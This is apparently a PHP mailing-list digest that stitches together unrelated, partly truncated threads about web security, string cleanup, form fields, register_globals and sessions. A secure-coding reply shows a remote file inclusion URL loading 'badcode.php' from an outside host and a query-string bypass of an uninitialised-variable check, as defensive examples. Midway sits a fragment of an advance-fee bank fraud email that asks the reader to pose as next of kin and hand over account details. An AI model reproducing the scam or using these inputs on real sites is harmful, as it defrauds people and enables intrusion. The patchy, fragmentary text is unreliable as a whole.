Hello,

I'm wondering if you can recommend any resources that discuss writing secure
code and how to put the best methods in place to prevent hackers.

I'm particularly looking at resources from the web coding perspective, not
securing a server.

Or, what things to you do to 'block' hackers.

Thanks

hi,

well, there are a lot of articles on the internet...
however, i bought a book... it really helped a lot! :)

there are so many things, developers can do worng, but here is a listing of
the most important ones:

but the most important thing you can do is to check very varaible for bad
characters...
with some special chars you can manipulate SQL-queries, open otherfiles (on
the local system OR even on remote systems) or even execute some nice
bash-scripts...
(you can avoid such attacks, if you've set register_globals to Off)
i.e.
if you include a page in your securityhole1.php via http get/post vars:
<?php
include($page);
?>
make sure, the users can't enter something like this:
securityhole1.php?page=http://www.somewhere.else/badcode.php

the second important thing is to set the variables you need to a specific
value, before you start using them, so that the users can't do something,
they shouldn't do by setting the variable to a value by a get/post request:
i.e. securityhole2.php:
<?
if ($password=="topsecret") $showstuff ='yes';
....some more code here....
if ($showstuff=='yes') echo "well done..."; else echo "hahahahaha... you
can't read this! hahahahaha....";
?>
in this case you can access secret information by using the following url:
securityhole2.php?showstuff=yes

it also quite important to check numbers for their value (are they too high
/ low)...
i made the experience, that you can slow down a webserver a lot, if you send
multiple requests with number values that lead i.e. to an infinite loop...
although php terminates the scripts after X seconds, it gives you the
possibility to run a lot of php scripts simultaneously! :)

Try to protect php scripts, which you don't need to access directly,  i.e.
with .htaccess files...
i.e.
store your libaries/templates in a directory and protect them with a
.htaccess like this:
----BEGIN OF .htaccess sample---
order deny,allow
deny from all
----END OF .htaccess sample---

there are also some important facts about file uploads... but for now, it's
quite late (3:15 in the morning...) and i'm quite tired...

there are even some more problems, especially by using the session
mechanisms....

i hope, this helps to fix the main security holes...

C ya and goood night to all of you... =0)

Good question! I rarely see this type of question here.

http://www.dwheeler.com/secure-programs/ is a good one- even has a small 
section dedicated specifically to PHP

The Shmoo Group has a good list at http://www.shmoo.com/securecode/

And if you're one of the learn by example of how not to do it, take a look at 
the bugtraq and vuln-dev lists @ securityfocus

"/home/httpd/vhosts/servername/httpdocs/photoalbum/$filename_small";
// the other file name has _small appended to it with it's owen extension
(png, jpg, gif, etc.)

Hey all.

I've got a chunk of HTML text I'd like to format for insertion into our
mySql db.

Let's say $html_string equals the following:

<tr>
    <td>1</td>
    <td>Bardo, Jesse</td>
    <td>S</td>
    <td>A</td>
    <td>Andover, MA</td>
</tr>

To setup this chunk of text for insertion I first use
strip_tags($html_string); that results in:

1
Bardo, Jesse
S
A
Andover, MA

I then use str_replace(",","",$html_string) to create a space delimited
string.

Here's where I believe the problem occurs.  There are apparently numerous
blank spaces within the string.  I've tried replacing the blank spaces, or
whatever is separating the data to no avail.

I've tried a number of aimless efforts to get the string properly formatted,
but no luck -- any suggestions?

Thanks for helping me over this hurdle.......

exactly... for starters, there might be tabs (\t), newlines (\n, \r, \n\r),
plus multiple spaces ("  ").

this is DEFINITELY a quick hack, adapted from code on
au.php.net/preg-replace... someone with more regular expression knowledge
can probably get this down to 1 or 2 lines, with a perfomance gain as well
:)

<?

$html = "<tr>
<td>1</td>    
<td>Bardo, Jesse</td>
<td>S</td>
<td>A</td>
<td>Andover, MA</td>
</tr>";

$html = preg_replace ("'<[\/\!]*?[^<>]*?>'si", ' ', $html);
$html = preg_replace ("'([\r\n])[\s]+'", ' ', $html);
$html = preg_replace ("([\s]+)", ' ', $html);
$html = trim($html);

echo "<pre>"; print_r($html); echo "</pre>";

?>

You'll need to test it thoroughly, and make sure it's ok on larger blocks of
text, like whatever your target source is, to make sure it doesn't bog
anything down.

Can someone tell me where is the problem ?

This looks like one of those bugs of the mail function. In that case you may want to try this class has it implements several work arounds to the mail function:

My application requires mail to be sent as reminder before say 10 minutes of even time in future. I have read about an option to send mail to queue of sendmail and sendmail takes over from there.

I have tried this but without any luck.

If you need to send a message with that timing accuracy, it is better to send it directly to the recipient, instead of queueing it, as it may take a long time for the queue to be processed again.

Anyway, you may want to try this class that comes with a sub-class specialized on delivery using sendmail that lets you control whether the message is delivered imediately or queue for later delivery:

Found it. I was looking for the php_value option that I can stick in the vhost directive. Works now, thanks!

Million (Thirty Eight Million, Six HundredThousandU.SDollars).Unfortunately, the man 
died four years ago until today non-of his next of kin has come forward to claim the 
money. Having noticed this, I in collaboration with two other top Officials of the 
bank have covered up the account all this while. Now we want you (being a foreigner) 
to be fronted as one of his next of kin and forward your account and other relevant 
documents to be advised to you by us to attest to the Claim. We will use our positions 
to get all internal documentations to back up the claims . The whole procedures will 
last only five working days to get the fund retrieved successfully without trace even 
now or in future.Your response is only what we are waiting for as we have arranged all 
necessary things. As soon as this message comes to you kindly get back to me 
indicating your interest, then I will furnish you with the whole procedures to ensure 
that the deal is successfully concluded. For your assistance we have agreed to give 
you twenty five percent (25%) of the Total sum at the end of the transaction while 65% 
would be for my colleagues and I and the remaining 10% would be for any form

However, when I do a count($split_filename) I don't get what I expect. For instance if the input is:

I get 2 from count, why doesn't preg_split put three elements in the array? It works since I'm actually looking for the last part of the filename. Thanks for any help.

If you're looking for the file extension, use pathinfo() instead. To actually answer your question, have you tried using print_r() to get the contents of the array?

        Hi,

    It seems to me that a script from
    /var/www/wahtever/      includes a script called algo.php
    which can not be found by PHP, because, probably it
is in the /var/www/ dir.
    Either you add /var/www/ to the php.ini include_path,
or when you include files you give the full path.

Cheers,
Catalin

hi david. thanks for your reply.

the error will occur even when value is reduced to 500. by clicking on
the refresh button several times, it will produce different output.
sometimes it might display garbage even before the http header too.

realising that it might be a problem beyond the codes, such as at apache
webserver or php api level. i re-read the manual, and i read a warning
indicating not to use apache 2.0 and php in production environment.
thus i believe apache 2.0 is still not fully tested or stable for use.

now i install the MS IIS webserver on top my winXP, and then re-install
php on it. it is working fine now.

best regards,
raymond

Hi, Sir:

There may be someone  leave a message like 
following:

UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU

and it expand the width of the table on  my web page and make  pages ugly....

I used wordwrap($word,40,"\n",1) to prevent it,
but my system is BIG5 ,two bytes,
Sometimes this method would  destroy the structure
of the two-bytes word.

Any one has good ideas and could help me with that ?
Thanks........

--- Begin Message --- Greetings,

How about some simple word detection attempts like:

$words = explode (' ',$input);  //create array
$new_words = ''; //empty
foreach ($words as $word)
{
   if (strlen ($word) <= 40)) { $word = wordwrap ($word,40,"\n",1); }
   $new_words .= ' '.$word; //add word(s) to string
}
$new_words = trim ($new_words); //kill excess spaces

So the idea here is to check each supposed word for it's length, if its a long word,
longer than 40 characters, break it up.  This should leave the smaller and hopefully 
real
words away from the wordwrap-ing.

note that this is completely untested, I just wrote it here in email.

Hope that helps.

--- Begin Message --- Hi

I've got a question about about naming html components (text fields, select boxes etc) when submitting a form to a php page.
First I tried identifying an element using the "id" attribute and found that it was not being posted to the php page. When I use the "name" attribute it did get posted to the page?

I had a look on the w3c html spec and "name" takes precedence over "id" if used together but you should be able to use them individually with no problems.

When you submit a form with this select box, "country" will is not submitted to the php page.
<select *id*="country" onChange="alterForm();">
<option value="one">one</option>
<option value="two">two</option>
</select>


When you use this code, it works fine. "country" gets submitted to the php page?
<select *name*="country" onChange="alterForm();">
<option value="one">one</option>
<option value="two">two</option>
</select>

Any thoughts?
best wishes
roland tarver

--- Begin Message --- PHP uses only the 'name' attribute of an element to assign the variable to.

You can use 'id' and 'name' together, but the two are different, for instance no two form elements should have the same 'id', but depending on multiform pages with similar inputs, an identical 'name' attribute could be used several times without conflict.

For PHP use, you have to use the 'name' attribute, but you've already figured that out.

hi guys, how does everyone usually go about posting within a script ?

i usually contain everything i need to do for a script within the same
script without the need for a seperate file for posting like so

switch ($_POST['action']) {
        case 'insert':
                insert into db
        break;
        case 'edit':
                edit content
        break;
}

to keep the files to a minimum

is this cool ? should i especially check for $_POST when inserting to make
it more robust ? or someone could go action=insert without actually posting
first

--- End Message ---
--- Begin Message --- Greetings-

I prefer to check the $_SERVER['REQUEST_METHOD'] before I do anything in a script that operates for both GET and POST methods. Also, especially for a switch statement, I'd check for the existance of the variable first, you know some sort of isset() or !is_null() test.

Hope that helps.

I always use default: to exit() the script, as something is obviously fubar if it gets there...

Yes - you need to set up an alias entry which points to the script. Add a 
line like

theaddress: "| /path/to/script.php"

to your alias file - IIRC its /etc/alias.txt on Slackware - and as root 
run the command newaliases to update the aliases database. Subsequently 
all mail to theaddress will be piped to the script. Then I think you need 
to open /dev/stdin in your script to access the data from the pipe.

Hi all!

I'm using Apache 2.0.45, PHP 4.3.2RC4, and MySQL 3.23.49 on Windows 2003
Server Standard.

I have a problem passing variables between pages. They simply get lost.
Neither GET nor POST pass values, and even "hardcoding" them into the URL,
like

htpp://localhost/comeon.php?aVariable=ding&anotherVariable=dong

and putting this in comeon.php:

echo("Values: $aVariable, $anotherVariable");

only outputs

Values: ,

...I've tried with RC3 of PHP, even 4.3.1, but it doesn't work. I've used
PHP on my machine with Apache 2 before, and it worked fine. Actually I used
the same scripts fine on my old config. This was on XP however, so I'm not
sure if it's got something to do with the OS. I'm hoping it's a
configuration issue.

Any ideas are VERY much appreciated =).

Thanks,
Daniel

Thank you mate, this works! =)

Just curious, though... I'd like to keep my scripts as compatible as
possible, so can you tell me if this method is backwards compatible? I've
never used this method before, the variables have just "been there" on a
subsequent page. I'm kinda fearing for my previous work, if the servers
suddenly change their configurations, rendering scripts non-functional...

And, I'm guessing $_POST would be the array to hold POSTed variables, right?

Is there a function to "release" the contents of these arrays into global
variables in a scripts, so you don't have to go...
    $var1 = $_GET[var1];
    $var2 = $_GET[var2];
...if that's what you wanted? (Not sure I want to, but just to know)

Again, thank you! =)

It's not backwards compatible. If your code simply mentioned the
variable name and not the method array, it will not work (as you
noticed) when registerglobals is turned off ( for security reasons).

However, there are many ways of making your old code work, the easiest
is probably to extract the $_POST or $_GET array.

Look in the manual at the array functions ( extract() ) and also read up
on working with registerglobals = off.

Sorry, I missunderstood your question about backwards compatible.

YES, accessing your variables this way ($_POST[] etc), IS backwards
compatibel, ie, they are placed in those arrays anyways, BUT, the method
is not backwards compatible to older versions of PHP, there the arrays
were called $HTTP_GET_VARS or something similarly unlike $_GET...

Maybe they could include a quick "overview" of the latest changes as
well as a link to the on-line manual in your "sign-up" message when

Thank you! =)

Okay, okay... Sorry to keep rambling on like this, but I just need to get this 100% 
straight:

I read up on the predefined variables on php.net, and as you said, in older PHP 
versions, the $_GET equivalent was $HTTP_GET_VARS, and that did the same as $_GET.

So, the RegisterGlobals boolean did exist in older versions too, but just now 
defaulted to false instead of true? Meaning, that my older scripts which used neither 
$HTTP_GET_VARS nor $_GET will infact fail on all versions where RegisterGlobals is 
false. Is that correct?

So, to maintain absolute compatibility, I'll just have to check if either $_GET[aVar] 
or $HTTP_GET_VARS[aVar] is set and get the value from the existing one?

Again, thanks for the help =)

[/snip]

Just to be perfectly clear on this. Let's say that I am writing an
application that I am going to release to the public (for free of
course!). In order that the application be as compatible with the many
installed versions of PHP as possible I should always use $HTTP_GET_VARS
or $HTTP_POST_VARS ? Or is there a point at which the formation of the
variable call changes (like the $_GET and $_POST in the latest
versions)? If there is a point at which it changes how can I account for
that in code, other than telling the potential use that "you must be
running PHP 4.x.x"?

Thanks!

Jay

Thanks all!

I think that I'll check for both variables to be absolutely 100% sure. I
could easily imagine future version of PHP slowly getting rid of deprecated
stuff like this to improve speed or something... Besides, the word
"deprecated" scares me ;)

Ok, I'm having problems with configuring all the things together. I have loaded on Php 
4.3.1, Mysql, IIS 5.1 and Dreamweaver MX, but I can't get php to work from 
dreamweaver, well i can't say it works at all having used a piece of code to check php 
works in html. I have installed php but I get an error message saying I have to 
manually configure the server connection as I don't have an OCX control. Can you help 
as I think this is the only block between me and using php with mysql in dreamweaver

Hi

I've to set up a shared shopping cart to buy items
from four different sites and pay them at once
passing trough a single checkout.


Provided that these sites are hosted on the same
server (actually in the same directory), but have
different names, is it possible to share php
sessions across multiple domains? How?

As far as I know, you cannot share a cookie-enabled session object between different domains (otherwise what's to stop me reading your session?). Perhaps if you serialize the session object to a file/database row using a unique identifier, that might be a way of doing it.

Hi,

I would like to do the following

When an objects method is called like this:

$test= new Testclass;
$test->someMethod ($someArgument);

I'd like to have an event handler outside Testclass to
log this event, like this:

function event_handler ( $method_name, $obj [, mixed parameter [, mixed...]]) {
    switch get_class($obj) {
        case "testclass" :
            // ...
            if ($method_name == "someMethod " {
                // ...
            }
        break;
    }
}

Is that possible in any way?


TIA, Axel.
